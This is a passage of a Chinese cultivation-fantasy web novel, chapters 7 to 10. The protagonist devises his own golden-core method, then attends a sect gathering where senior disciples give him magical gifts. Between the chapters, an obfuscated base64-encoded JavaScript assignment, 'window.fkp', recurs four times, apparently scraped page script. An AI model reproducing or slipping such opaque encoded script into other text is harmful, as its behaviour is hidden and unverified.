赵尘回到房间,坐在床边。五种练气法不断在脑海中翻滚。突然又站了起来,在房间中走来走去:“混元、两仪、三才、四象、五行,到底选哪一种好,养生、雷法、罡煞、化形、五行术法,到底什么好呢?” 赵尘在回来的路上便一直思索着前路。 “差点被绕进去了,只是更擅长罢了,又不是选了一种练气法,又不是不能用其他神通法术了。可哪还是选什么呢?” “大道是体,神通是用,长生久视是本,护道手段是末,要区分体用、本末。” “如此看来,混元一气法更利于养生,想来更贴近基础,更近大道。可是其他法门能否融入其中呢?” “只是推演人仙法,便将我前世抽干了都不够,推演这样的金丹法门,只怕消耗更多,幸好在这灵山胜境之中,这空气中灵气含量,无论是质量还是数量,都不是前世可以比拟的。山中数千年的灵草仙珍更是比比皆是。再加上磨盘中还剩下些能量,此时不用,更待何时?” “而且这还有现成的法门做为基础和参考,而不是像前世那样凭空推演,那消耗就更少了。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第七章 修行 心中一番思量之后,赵尘推门而出,对钱穆道:“钱叔,我进山几天,不必管我!”说罢,出了篱笆,便向山中赶去。 这灵照山这三十九座主峰,另外还有不少的小山头,小土丘,赵尘自己逛遍的也不过外围的三五座山峰。其余的,数千年没人活动,可谓山高林密,百草丰茂。 转眼三天,赵尘便用外衣包裹着一包仙草灵玉,与钱穆打了声招呼,便又回到自己房间。将整个包裹都抱在怀中,盘坐在床上,观想着磨盘,按照先前的想法,对照着自己的身体数据,推演着属于自己的金丹法门。 只见赵尘怀中的仙草灵玉不断变成灰烬、粉末,最后连所谓的灰烬、粉末都消失不见。 …… 半个月后,赵尘神采奕奕的推开房门。 “公子,你出关了。需要吃些东西吗,厨房中,我今早刚猎了头鹿,烤了。我帮你拿些来。”正在院中打坐的钱穆听见身后门响,回头看见赵尘,惊喜道。 “钱叔,不用了,我不饿,只是暂出来透口气罢了,”赵尘满脸笑意道。 这一次。赵尘不但推演出了属于自己的金丹法门,虽然只是基本完善了养气期和金丹期的内容,还推演出了部分人仙武道。忽然,心中一动,一个想法冒了出来。 “钱叔,我的气血武道怎么样,想要我教你吗?” “真的!多谢公子赐法。” 钱穆本来就是一个武痴,来为嫡传弟子当护卫,便是为了更好的资源和法门。对赵尘独特的武道法门更早就十分好奇,如今听了赵尘的话,更是毫不犹豫。 “来,钱叔,我和你说……” “……对,这样……” “……好,钱叔,你先在这练着,我回房闭关去了,不必管我。” 指导了钱穆半天国术,赵尘向房间走去,回头看着沉迷其中的壮汉,无奈的摇了摇头。 回到房间,赵尘一脸欣喜的盘坐在床上,养气境到金丹境最重心性,以赵尘见神境界的国术修为,早已明心见性,可见如来。 “所以,目前最重要的便是法力的积累了。以这完美契合自己的练气法门,清玉师兄三年完成养气阶段,我的话,即使要打牢根基,也最多三年。” 想了想,赵尘把金贴掏出:“金丹后,去见一下明尘师叔祖吗,管他呢,船到桥头自然直,到时再说吧。”说着,又将帖子塞回袖中。 赵尘细细的品味着磨盘推演出来的法门,和经楼中的诸多法门比较了一番,这说是赵尘开辟出的新法门,但至少在目前来说,其实也就是《混元一气法》的修订版,而且和原本以及其它万余种修改相比,赵尘的这一版要更加的繁琐,而且是繁琐许多。 只是这一版法门和赵尘可以说在满足赵尘种种要求的前提下,几乎是完美的契合赵尘罢了。 当然了,契合归契合,这法门能不能走通,这还是另外一回事。其实经楼中绝大多数所谓的外物成丹法,开始也都是从五大法门中演绎出来的,一开始也都是五大法门的个人修订版,只是后来越走越偏,最后直到道途断绝。 所谓的外物成丹法中的外物,其实不是指在结丹中运用了外物,而是说这法门难以成道,修炼到最后也只是一个依仗诸如法力、法器等其它外物,终生连旁门(仙门)也碰不到的凡人。 当然了,这不是说玄天宗四十多万年来,十余万位嫡传弟子,只有这数千人没有成仙,而是说剩下没有成仙的人或是能力不足,或是时运不济,只有这数千人是实实在在被认为走错了路的人。 而这数千人之中,敢在结丹时直接使用天地间的各种罡煞之气,以及妖血灵物等外物结丹,并有能力做到的人,其实少之又少,至于一开始便直接抛开五大法门,想要自开一途的铁头娃,就更是寥寥无几了。四十多万年来也只有那三五人罢了,且都在那外物成丹法的分类之中。 而赵尘的这一版《混元一气法》(清微特别修订版)养气篇和金丹篇,若不是特别契合赵尘,单看其繁琐程度,便是在外物成丹法这条歧路的边缘反复横跳。 赵尘依照着功法细细体味着,脑海中突然冒出陈玄风、梅超风照着九阴真经练出九阴白骨爪的画面,猛打了个寒颤,连忙把画面甩出脑海。定心凝神,一边存神观想,一边吐纳调息。 待一次功行圆满,赵尘从床上起来,推窗看去,已是月满中天之时,远远望去,只觉月明露清,看着这林深禽宿,飞萤光散,雁过排云的景象。心中不由泛起丝丝清新和欢喜之感。在窗前看了好过会儿,才回身休息去了。 自第二天开始,赵尘之后每天早上起来练会儿导引术,打一段拳舒缓一番筋骨。之后待早课之后又教导钱穆一会国术,又在子前午后,默默修行。其余时间,或整理自经楼中所得的知识,读经论玄,研究术法,焚香习字。或扫地锄园,养花修草。又或者寻柴燃火,担水运粮,储备物资。 每日如此,不觉时日,一晃便是两年。 …… 一天,赵尘指导完钱穆国术,忽听见钱穆说;“马上就是十月了,今年的云台山会,公子还不参加吗?” 赵尘体会着体内好似云雾翻腾,又像潮水汹涌的法力,暗自思量:“一晃上山都五年了,我这一身法力已数倍于普通金丹境弟子,单论量来说,与刚突破的真人相比,可能都略有超出,已达到了极限。” “马上便要踏入金丹境界,在突破前还是去一次吧,毕竟一次都不去有点不像话。” 想到这里,赵尘开口道:“云台山会初十开始,我初七去。还有几天,钱叔,到时提醒我一下。” “好的,公子。” “钱叔,我回房去了。” 说完,赵尘回到房间,回忆着云台山会的具体情况。这 云台山会每年一次,一是宴会,供弟子交流感情,二是交流神通术法,以坚定弟子的向道之心,多有比试,三是交换些宝物,这前两项还好,这其三项,颇几分圈地自萌的意思。 “这交易会虽然只是几个弟子闹着玩的东西,但我第一次参加,还是不要太不合群吧,我这身无长物,还需做点准备。唉……好烦!” 想着,又与钱穆打了声招呼,往山中去了。赵尘这灵照山虽然没有什么新奇玩意,但好歹还有几条品相还不错的灵玉矿,虽不会什么雕刻技艺,但采一些灵玉充当一般等价物还是可以的。 赵尘一边在山中寻找,一边心思飘飞着。 “我这放在前前世也算家里有矿了吧,这玄天宗着实是财大气粗。虽然这也和玄天宗嫡传弟子稀少有关,但正如首座所说,其实我现在还算不上玄天嫡传,最多只能算天辰一脉的嫡系弟子。” “像我这样的嫡系弟子,玄天宗每六十年最多招收二十七位,每一辈,也就是十甲子,最多招收二百四十三人,但实际上,一辈能招收两百人那绝对算招的多的了。绝大多数情况下便是连两百人都招不到。近半数情况下,一辈招收的弟子连一百八十都缺一点。” 比如赵尘所在的玄天宗第七百六十四辈,天辰一脉目前赵尘辈分最小,也就是说天辰一脉目前嫡系弟子只有十七人。 “而这每一辈的一两百人之中,真正能够修成金丹,名列嫡传的,一般来说也就一百左右……” 想到这里,感受着体内澎湃的法力,赵尘心中不禁的生出丝丝欢喜。便在这思绪飘飞中,赵尘从山中采出大小差不多一尺见方的上品灵玉五方,将其装进金帖之中。又顺道捡到了一些其它稀有的灵材,现场取材,制了几个木匣、玉盒,现场封装好,塞回金帖,便转道回家。 很久之前,便是赵尘炼出法力不久,赵尘便发现明尘留给自己的金帖其实是一件储物法器,而且其中空间还不小。 回到房间之后,赵尘将一方白玉解成数十块大小合适的玉牌,又将两方白玉解成三寸有余见方的小玉方,还有两方白玉保持完整,将之全部用盒子盛好,用符封住,装回金帖。 初七早上,赵尘辞别钱穆,也不携带行李,脚尖一点,张开双臂,周身法力缭绕,宛若云烟,轻轻一跃,少则十余丈,多则数十丈,一副神仙中人的样子向云台山赶去。 …… 初八上午,赵尘便能远远间隐隐看见云台山的身影,这云台山是少数赵尘不是第一次来的地方。概因每月都要来此领取一次物质,或是赵尘自己,或是钱穆。这云首山的长老便是天辰一脉的庶务长老。 在赵尘又体验了一次望山跑死马之后。直到下午,邻近傍晚,才终于赶到云台山脚下, 赵尘站在云台山脚下远远望去,在一片不怎么高的小土包、小山坡的环绕下,有五座山峰格外的引人注目。 其中四座近两千丈高的的险峰如利剑,似尖锥,直刺长空。在四座主峰环绕间,一座三千多丈的三层高台好像一座祭坛,在云间若隐若现。 直到傍晚时分,赵尘才真正来到山脚,正准备上山。忽听见马蹄声和呼喊声从身后传来。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第八章 师兄和师姐们(上) 赵尘回头一看,远处一锦袍公子与四名护卫正飞奔而来。那公子一边挥鞭赶马,一边高声呼唤:“前面的兄弟,等等我。” 没一会儿,锦袍公子驾马跑到赵尘不远处,勒缰下马,将缰绳交给护卫,并道了声谢,向赵尘走来。 “兄弟,你……” 锦袍公子看起来二十余岁,行走间从袖中掏出一把折扇,忽然脚步一顿,诧异道:“竟然是十七弟,师弟,这五年来我还是第二次见到你,着实是好久不见!” “师弟真是刻苦,但是也要劳逸结合嘛,多出来走走总是好的。” 赵尘看着一脸热情的锦袍公子,将当日入门时的情形快速在脑中里过了一遍,连忙行了一礼:“原来是十四师兄。” “对,我入门排行第十四,上次没有详细介绍,这次正好补上。” “我姓李名谊,师弟你叫我李哥也好,李兄也罢,随意就好。对了,十七弟,我要是没记错的话,你应该是姓赵吧,你觉得我是叫你十七弟好呢,还是叫你赵兄弟好?” “师兄怎么叫顺口就怎么叫吧,我无所谓。” “那就叫十七弟吧,这样听着亲切,”李谊一把拉住赵尘,“十七弟,这还是你第一次参加云台山会吧。正好和我一起上山。” “那就多谢师兄了,”赵尘看见李谊的四名护卫将马匹上的东西解下,背着身上,顺便把马赶到远处,跟着过来,“师兄,这马不要拴着吗?” “不需要,这些马颇有灵性,不会乱跑。且这山脚有禁制,不会有猛兽来,所以只需把马赶到林中就好。” “师弟,你是第一次来云台山会,所以可能不甚清楚,我们这一代弟子,现在算上师弟共十七位,其中大师兄、四师姐、六师兄、十五师弟成就金丹,皆入世修行去了。” “还有二师兄、三师兄、五师姐、八师兄、十师兄、十三师兄尽陷入红尘之中,下山去了。” “所以山中还有七师兄、九师兄、十一师姐、十二师兄、我、十六师妹、和师弟共七人。所以前几年云台山会,几位师兄姐妹无事的话都会来,每次都是五、六人。今年有了十七弟,能更热闹呢……” 李谊一边拉这赵尘,一边说个不停。“我十岁入山,转眼都十五年,还记的十几年前的云台山会,每次都能有十几位师兄、师姐。如今人是越发的少了。” 待到第一层平台下的半山腰处,李谊将几名护卫安排好,待到第一层平台上随意挑了两间邻近的院落,李谊对赵尘说:“小十七你早点休息,明天一早,先去拜见师叔,然后再介绍其他师兄姐妹与师弟认识。” “多谢师兄了,小弟先去休息了,明天见。” “明天见。” …… 第二天凌晨,寅时。 赵尘在院中刚洗漱完,忽听见敲门声,打开门一看,只见李谊站在门口。见赵尘开门,连忙道:“师弟,走,随我拜见师叔去,这宜早不宜迟。” 说着便拉着赵尘往外走。 “师兄,这也太早了吧。” 赵尘看了看天,估算着现在大概刚到凌晨四点多,估摸着还不到五点,不由抱怨了一句。顺便把门关上,随李谊离开。 “再过半个多时辰便是日出了,到时师叔自然要吐纳朝阳紫气,哪有时间理你,再之后,又要安排明天宴会的事情,估计是找不到人的。所以现在时间刚刚好。”说着,把手中果子抛给赵尘。 “师叔住在第二层平台的半山腰处,所以还要赶紧点。这果子是我之前摘的,这云台山就是这点好,有四季不谢之花,有四时常熟之果,只要仔细找一找,永远能找到吃的。” “多谢师兄……” “没什么,快走吧……” 两人花了两刻钟赶到长老处请了安,被长老留着闲聊了两句,回到院中,简单吃了点东西,各自休整了一下。大约辰时初,李谊又拉着赵尘在山上闲逛了起来。 赵尘和李谊正指着山中景物天南海北的闲聊,忽然从远处花丛中钻出一淡嫩绿衣裳的少女。 李谊一见,对赵尘说:“这是十六师妹,清霓。”拉着赵尘向远处走去,同时向少女打招呼:“师妹,这儿。” 李谊低声和赵尘说道:“师妹三岁上山,至今已近十年,倒是只比师弟略小几岁,”说着,又疑惑的看着赵尘“不过,师弟,你这五年看起来好像变化不大啊。” “咳……咳……师弟我十四五岁上山,现在也近二十岁了,少年时长的稍有点急,而这几年又缓了下来,没什么变化,所以看起来像十七岁的少年。” “原来如此啊。”李谊一脸恍然的点了点头,好像是真的信了赵尘这糊弄鬼的话。 少女听见李谊的声音,回过头看向李谊,两眼一亮,快步窜到李谊身前,俏生生的喊了声:“清寿师兄!” 赵尘闻言诧异的转过头,只见李谊微笑的脸突然僵住了,脸色漆黑的对粉衣少女说:“清霓师妹,说了多少遍了,要叫李师兄,李师兄。” 粉衣少女眨巴眨巴眼眸,点头道:“知道了,清寿师兄。清寿师兄,这是小师弟吗?清寿师兄,小师弟这是第一次参加云台山会吧?清寿师兄……” “停,师妹,”李谊苦笑的从袖中摸出一枚玉佩,递给少女:“将这带在身上,一来有必尘之用,二来可避寒暑,夏日时只觉秋高气爽,寒冬时却觉春日融融,三来可定住容颜不老。” 赵尘闻言诧异的看了李谊一眼,这玉佩对他们目前来说,虽然不算什么神器、重宝,但也十分精妙,不是他们这个境界可以制作出来的。 好像看出赵尘的疑惑,李谊笑着解释道:“也算是前辈遗泽,我在山上翻找到了一套炼制各种法器的传承,虽不算多么高深,但也能说一句精妙。再加上我在这方面也算有些天赋,又从山中捡到了一套配套的,用来炼制法器的法器。” “所以想玉佩这种品相的法器,运气好的话十天半个月,运气不好的话,三五个月总能捣腾出一件的。”李谊的话中颇有几分自得。 赵尘听见李谊的话,忽然觉的自己的那几条矿就不香了。 少女喜滋滋的接过玉佩,对于李谊说的第三个作用,直接当做了耳旁风,一点没有放在心上,倒是第二个功效,觉的还是有些意思。少女最感兴趣的,其实还是玉佩的第一个用处。 其将玉佩拿在眼前看了看,又用手帕擦了擦,开心的收了起来。高兴道:“谢谢李师兄。”又转过头看着赵尘:“小师弟?” 赵尘立刻行了一礼:“师姐好,小弟清微。” 少女一脸认真的的点了点头:“师弟好。”又开心的从身上翻出一颗珠子,递给赵尘,笑道:“师弟,这是我给你的见面礼。” 李谊在一旁一拍脑袋,连连道歉:“到忘了给小十七见面礼,还请十七弟恕罪。” 赵尘连道不敢,又推辞少女的礼物。 少女佯装生气,嘟着嘴:“师弟,你不收便是看不起我。” 李谊在旁边说道:“收下吧,这是一颗三千年的鲛珠,水灵之气充足,倒是可炼成一件不错的法器。” 推辞不了,赵尘便只能鲛珠收进袖中:“多谢师姐。” 少女高兴的说着:“不用谢。”又转过头看着李谊,“小气的李师兄,你有什么见面礼送给小师弟?” 李谊苦笑的摇了摇头。从袖中掏出一木匣,递给赵尘,示意赵尘把匣子打开。 赵尘接过木匣,打开一看,匣中依次排放着十颗蜡丸,每颗约鸽子蛋大小。 “这是用千年灵蛛的蛛丝炼就,这蛛丝还是从师叔那里讨来的,”李谊忽然有些心疼的皱了皱眉,当初为了讨来这十面蛛丝,被庶务长老拉去干了半年的苦力。 想到这里,李谊将心思转了回来:“遇见敌人,把蜡丸捏碎,朝敌人砸去,蜡丸中的蛛网会立刻张开,把敌人裹住,若是普通人,便会如同被坚韧的网兜裹住一样。” “被裹住的人若是动用法力之类的,蛛网会立刻化实为虚,渗入体内,锁住一身法力。到时……” “这……多谢师兄。” 少女在一边听着,两眼放光的看着李谊:“好神奇。” 李谊一甩衣袖,连忙拉着赵尘;“师弟,我们去那边看看。” “师兄……”少女快步跑到李谊身前,一脸期望的看着李谊,两只小手将李谊的衣袖紧紧揪住。 “没有,没有”李谊甩着衣袖,一脸没好气道。结果发现没甩动,又一脸严肃的收了声没有。 见李谊一副油盐不进的样子,少女顿时塌了下来,但不一会又神气十足起来:“师兄、师弟,师姐正在那里呢,快来。”说完向远处跑去。 赵尘和李谊随着少女向远处走去,转过一片树从,只见清霓正和一宫装女子叽叽喳喳的说着些什么,不时还向后指了指。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第九章 诸师兄师姐们(下) 女子看见赵尘和李谊,笑盈盈的和清霓一起向他们走来。 李谊正和赵尘低声说着话。 “那就是十一师姐:清素,师姐据说是十三岁入的山门,至今有二十二年了,所以别看师姐才二十出头的样子,今年已有三十五了。” “李谊,李清寿,和小师弟说什么呢?” 李谊一抬头,看见离自己不足三步的清素,不由往后退了一步,尴尬的咳了咳。 清素一脸温和的看着李谊:“原来是小李谊啊,转眼都十五年了,当年十岁的小家伙都这么大了,我都老了。对了,小李谊,你刚才说什么呢。” 清霓一脸幸灾乐祸的看着李谊,赵尘来回看了看,默默的往旁边跨出一步。 李谊擦了擦额头不存在的汗水,笑道:“我刚刚和师弟夸赞师姐道法高深,青春不老呢。对吧,师弟。” 赵尘在一边,眼观鼻,鼻观心,好似入定一般。 清霓在一旁拱火道:“什么青春不老、驻颜有术,师姐,师兄在变着方的说你老呢!” 清素一只手指轻点着清霓的额头,将清霓推得远远的,一面不置可否的“哦”了声。脸上带着淡淡的笑意,一脸温和的看着李谊。 李谊一拍手:“哦,差点忘了。”从袖中掏出三个一寸高的小瓷瓶,皆被一张符纸包着。双手捧着,送给清素:“我山中那座大鹏捕龙雕像,每年可以凝炼出一缕大鹏吐息之气。到如今我一直攒了三缕。正不知道怎么办呢!” “如今看见师姐,让我豁然开朗,这三缕大鹏吐息之气便送与师姐,也只有师姐才能物尽其用。还请师姐看在同门一场,相识十几年的分上,帮帮师弟。” 清素这才满意的点点头:“这还差不多。这次就放过你了。”把三个瓷瓶收了起来。 李谊连连告饶:“多谢师姐。” “这是十七师弟吧,让你见笑了,这是师姐送你的见面礼。”说着,取出一扁扁长长的木匣递给赵尘。 “多谢师姐。” 赵尘接过木匣,连忙道谢。 “快打开看看。”李谊在一旁催促道,清霓也在一旁连连点头。赵尘看了眼清素。 “随意。” 赵尘闻言,抽开木匣一看,只见匣中放着三张符篆,透明的材质,泛着光的白色纹路。好像流动的光幕、水幕一样。 “这是流光符。”清霓道。 看见赵尘的疑惑,李谊解释道:“经楼中有一种天织术,是一种可以将云朵、霞光、气息等化成丝线抽出,再将其编织成衣物的法术,不知十七弟你知道吗?。” 赵尘仔细回忆了一下,点了点头。 “流光符便是取每日晨曦时第一缕光辉与每日日落后最后一缕光辉,将之合而为一、抽丝织布为纸,每日午时三刻的阳光抽丝为墨,所画出的符。每张流光符都可以让人化光飞遁一个呼吸。这里的化光飞行,不是什么大概的比喻,化光之时,光有多快,你就有多快,无法困住光的手段也就无法困住你。” 赵尘闻言,心中猛然一惊,此世用做时间单位的所谓一个呼吸大致相当于前前世的六秒,按照前前世的情况来算,六光秒,足足有近一百八十万公里,将之换算成此世的单位,也有一百二十万里。虽不知道此世的光速是多少,但也是个级巨大的数字。 想到这里,赵尘的心中就更酸了,虽然赵尘心中百转千回,但还是郑重的再次向清素道谢,毕竟这用的好,就是三条命。· “没什么,不过是多花费些功夫罢了。”清素温言道。 李谊也说道:“师姐有一件施展天织术的宝物,所以我们无法用天织术织出流光布,抽出昊阳丝,但对师姐来说不过是很费功夫罢了,而且师姐还有一件炼制宝符的法器,所以这流光符,师姐送了我们每人三张。” 赵尘听了这话,心中就更酸了,不由转移了话题:“这一张流光符可以飞多远?” “这因为情况的不同,没有一个定数,据师叔,也就是庶务长老所说,在绝大多数情况下,一张流光符可以飞出的距离在一百万里到一百五十万里之间。”李谊想了想开口道。 几人闲聊了一会儿后,清霓便不耐烦的跑了,清素也随之离开了。 看着清素走远后,李谊对赵尘说:“师弟,你太不厚道,刚才竟然见死不救。” “恕罪恕罪,师兄,你和师姐,我小胳膊小腿的哪敢掺和。”赵尘连连道歉,忽然又笑道:“对了,师兄,师姐人很温和啊,那时你怎么怂成这样。” “我哪里怂了,那时你不也跑了吗。” 李谊一脸不屑的看着赵尘,接着又一脸郑重道:“我十岁上山,宗门虽然安排了人照顾我,但终究不习惯,后来师姐知道了,把我带到她的山上,照顾了我五年。还有师妹,师妹三岁上山,一个人害怕,第一天分到山,第二天就被师姐带回自己山,带了八年,前年才回自己山。” 赵尘听的一脸钦佩,却又听见李谊咬牙切齿的说:“就看被师姐养大的师妹是什么性格,就知道师姐那温柔的外表下的本质了,我小时候没少被捉弄,我……” 赵尘闻言一脸可怜的看着李谊,不由安慰道:“节哀。”听的李谊眼皮直跳。 一番说笑之后,李谊忽然满脸正色道:“说笑归说笑,但小十七你一定要记住十一姐的好,别的不说,这天织法器虽玄妙,但也不算什么,但那件能炼制种种宝符的法器,哪里是我们这些养气境的小家伙可以轻易动用的。” “炼制一张流光符但材料就要准备一年,这不算什么,不过是每天晨、午、昏之时操弄一下天织法器,不过是一件靠耐心,熬时间的活,但每启用一次炼制宝符的法器,师姐都会元气大伤,修养三个月才能养回来,而凭师姐的修为,每次也只能炼制一张流光符。所以……” …… 随后一整天,李谊便带着赵尘在山中闲逛,分别遇见了在山涧处垂钓的七师兄,在竹林练功的九师兄,在山中玩寻宝游戏的十二师兄,每次都聊了好一会儿。 当然,赵尘每次也都收到了一份见面礼。 钓鱼的七师兄,披头散发,身穿一件黑色的袍子,上绣着许多神秘花纹,手中的钓竿也黑的深邃。给赵尘的见面礼是一盒沉阴砂,由玄阴寒铁被幽冥之气风化成沙所得,可制一件阴属性或鬼道法器,据李谊所说,这是其山中特产。 在竹林中练功的九师兄给赵尘一种落魄剑客之感,头发被简单的缠在脑后,身穿一件褐色短衣,非常的干练。手持一柄三尺多长的竹剑,周身裹着一股肃杀之气。 其送给赵尘的见面礼是一柄桃木短剑。这桃木短剑可谓是完完全全的粗胚,可塑性极高。木剑上没有一道法印,一条道纹,甚至都没有被法力祭炼过。按照九师兄所说,赵尘若是不喜欢的话,甚至可以将其当成一件剑形的桃木材料,剑身切出几张木符后还能剩下几根木针,剑柄还可以雕出两枚枣核小印。 木剑看起来虽然十分陈旧。实际上,不但极其的坚韧、锋锐,而且对鬼物灵体,非千年以上老鬼,可谓擦着就残,碰着就死。据李谊判断,这是一株三次通灵,三次渡三千年大劫失败,均神灭体活,最后第四次通灵失败,最终枯死的老桃树树心所制。这种雷击木珍不珍贵先不说,但绝对是珍惜罕见。 李谊告诉赵尘,这株老桃树就在九师兄的山上,后被九师兄得到。李谊知道后想讨一截树心炼器都没成功,最后只得到了一截枝干。 剩下的,除了少数小块零碎被十一师姐那去制木符,还有少数材料留下以备他用之外,剩下的大多数被九师兄削成木剑。长剑削完削短剑,短剑削完削小剑,小剑削完雕匕首,匕首雕完磨飞刃,说一句好剑成痴都不为过。 十二师兄给赵尘的感觉,也就比九师兄正常些。赵尘见到他的时候,看着其正像一位风水先生一样,且手中正摆弄着一面罗盘。这云台山四十多万年来,七百多辈都是作为庶务长老的驻地来使用,也不知道十二师兄能在这里寻些什么宝。 其给赵尘的见面礼名曰:镇龙钉,是一枚长七寸的青铜方钉,上面铭刻着各种纹饰,有一种古老、神秘、苍茫的韵味,一旦钉入大地,可钉住地气龙脉,是一种十分偏门的法器,也不知道是十二师兄自己炼制的,还是在山里翻出来的。倒是材料不错,看着像生了锈的青铜,实际上却是一件珍惜材料。 李谊便这样带着赵尘在云台山诸峰逛了一整天,直到晚上,才将赵尘送回院门前,交代道:“云台宴会明日在第三层平台的山坡上的悬天殿举行,巳正一刻前入场。我明天辰时来寻十七弟,到时我们一起去如何?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十章 悬天殿 第二日一早,赵尘在院中呆呆的坐着,表面上好像走神,实际上,正翻看着从经楼中抄出来的,八万多份从养气进阶金丹的经验,这也说明了玄天宗四十五万年来,严格意义上的玄天嫡传也就八万多人。 正思绪飘飞着,忽听见院外敲门声响起。打开门一看,正是李谊。 …… 路上,李谊和赵尘解说着和宴会有关的大概。 “这宴会在悬天殿举行,悬天殿建在第三层平台半山腰处一凸出巨岩的岩壁上。整座大殿悬空而建,贴着岩壁的一面凿穿岩石修了一座大门,其他三面依栏开窗。通过窗子,向下可见云海翻腾,向远,可见山脉蜿蜒。偶尔透过云海,隐约可见大地苍茫,真有几分神仙悠然逍遥,高居天上,坐看人间沧海桑田的感觉。” 赵尘听着李谊的讲述,心中忽然生出几丝悠然向往:“师兄,这宴会又是个什么流程。” “说是宴会,却也没什么规矩,不过是每人一张小桌,围坐在一起,谈经论玄。也就和几个好友,外出踏青、聚会一般。” “师兄,具体的呢?”李谊说的随意,赵尘却不敢真的不当回事,毕竟是一个数十万年,举行过几万场的宴会。 “真的就是交流一些修行心得、奇闻异事,然后就是吃吃喝喝了。” “师兄,这集会就没有什么要注意的地方吗?” 两人说话间,便来到了玄天殿门外。赵尘抬眼看去,一条宽一丈,高两丈六尺有余,长数十丈的浮雕走廊凿巨石而过。 正如李谊所说,经楼的藏书中也有记载,类云台山会这样的聚会,已有四十多万年的历史,而四十万年前,宴会从首座长老所在的云首山,改到了庶务长老所在的云台山便一直延续至今。 至于这座悬天殿,则修建于三十七万年前。同理,和这悬天殿同时开凿的浮雕走廊至今也有三十七万年了。 感受着扑面而来的苍桑气息,赵尘不禁伸手摸了摸石壁,想到了前前世华夏五千年的历史,和眼前这一座建筑三十多万年的岁月相比,心中不由叹息道:“仙道啊仙道!” 收拾下心情,听着李谊讲解着浮雕上雕刻的种种故事,赵尘刚靠近门栏,只觉豁然开朗。 在先前估算着不过是一座长宽数丈的石制大殿,而出现在赵尘眼前的却是一片一里见方的小巧园林,亭台楼阁,假山池水,应有尽有,甚至还有些小动物不时窜过。 八张石质小案错落在一口莲池旁,虽是深秋时节,池中竟有几株青莲,随风摇曳。八张席子直接铺在厚厚的草坪上,周围随意堆着些乱石、花草。 见此,赵尘一脸诧异,而李谊早有预料的在一旁轻声解释着。 眼前这情景是长老依据石殿内的空间开辟的,勉强算一座简陋、微小的洞天。至于这其中诸般生灵、景物、建筑等,都是长老从外界移进来的。待宴会过后,便会被全部移回原处,至于这座洞天,也会被长老抹去。 “师弟你若是平时来这里,看到的便只是一座普通的石殿。每次看到这般情景,都是心向往之啊!”李谊最后总结道。 赵尘闻言,也是深有同感的点了点头。 随即,正坐在小案前轻声交谈着的七师兄、九师兄、十二师兄三人,看见赵尘两人,高兴的招呼着两人入席。 赵尘刚随李谊跨过门栏,脸色却骤然一变,只觉这在外界看着好像风和日丽的小巧园林,实际上却是气象万千。 如今正是深秋时节,秋冬之交,九师兄周身的肃杀之气正融在深秋的金风里,而七师兄的气机也和这座园子相合,天地间的冥寂之感好像要将赵尘拖入冥土一般。而十二师兄所在之处,好像整座园子的气机都在围着他转,将其托举而起,好像一位神圣,其所立之处,吉气漫天,祥瑞遍地,好似一方净土。 李谊转头笑看了赵尘一下,周身收敛的气息猛然放开,好像一轮初夏时节的太阳缓缓升起,热情、温和但又不容置疑的将周身环绕而来的异种气机全部驱散。 感受着这前有净土接引,后有冥土拖拽,四周还有无数金风环绕,这虽然只是气机交感,但和这大殿相合,却也给赵尘带来了不小的压力。 赵尘知道,这是师兄们的称量和考较。毕竟这是自己五年来第一次参加宴会。赵尘随即将收敛的气机放开。 感受着赵尘飘渺如云,清潋似月,温润如玉的气机,李谊等人都诧异的看了赵尘一眼。 李谊拦着赵尘在临近的两个小案后坐下,对赵尘解释道:“抱歉,十七弟,我们虽有考较你的心思,但绝对没有什么下马威之类的心思,你将气机和大殿勾连起来试试。” 赵尘闻言,将自身气机融入小园之中,轻易便和整片空间勾连起来。顿时感觉到好像被一层空寂包裹住,就好像寒冷的冬天忽然钻进温暖的被窝一样。同时,虚幻飘渺但又绵绵不绝的玄妙不断从心底划过。 “这便是来参加宴会的好处之一。这个临时洞天是师叔特意开辟出来的,并被特意处理过。按师叔的话来说,像我们这些第一阶的修士,能得到一丝第三阶的体悟,这绝对是一份厚重的底蕴。” 李谊看见赵尘惊奇诧异的表情,笑着解释道。正在说话间,清素便带着清霓走了进来。 刚跨入园子,清素身上便弥散开一股温暖人心的气息,似冬日暖阳,又似春日暖风。见此,赵尘忽然想到清霓,心中一惊,转头看去。 只见清霓将身份玉牌用一荷包装着,挂在身前。玉牌在荷包中正微微放光。清霓进来之后,目光一转,便欢呼着向一只粉扑扑的、灵性十足的兔子扑去,一阵鸡飞狗跳之后,将其按在地上。 还不待清霓抱着兔子从地上爬起来,清素便走过来,拎着清霓的后颈,将之按在一张小案的后面,自己也在旁边的小案上坐下,并对清霓轻声数落着。 七师兄几人都笑着摇了摇头,劝道:“师妹还小,长大就好了。” 清素无奈道:“都是你们宠的。” 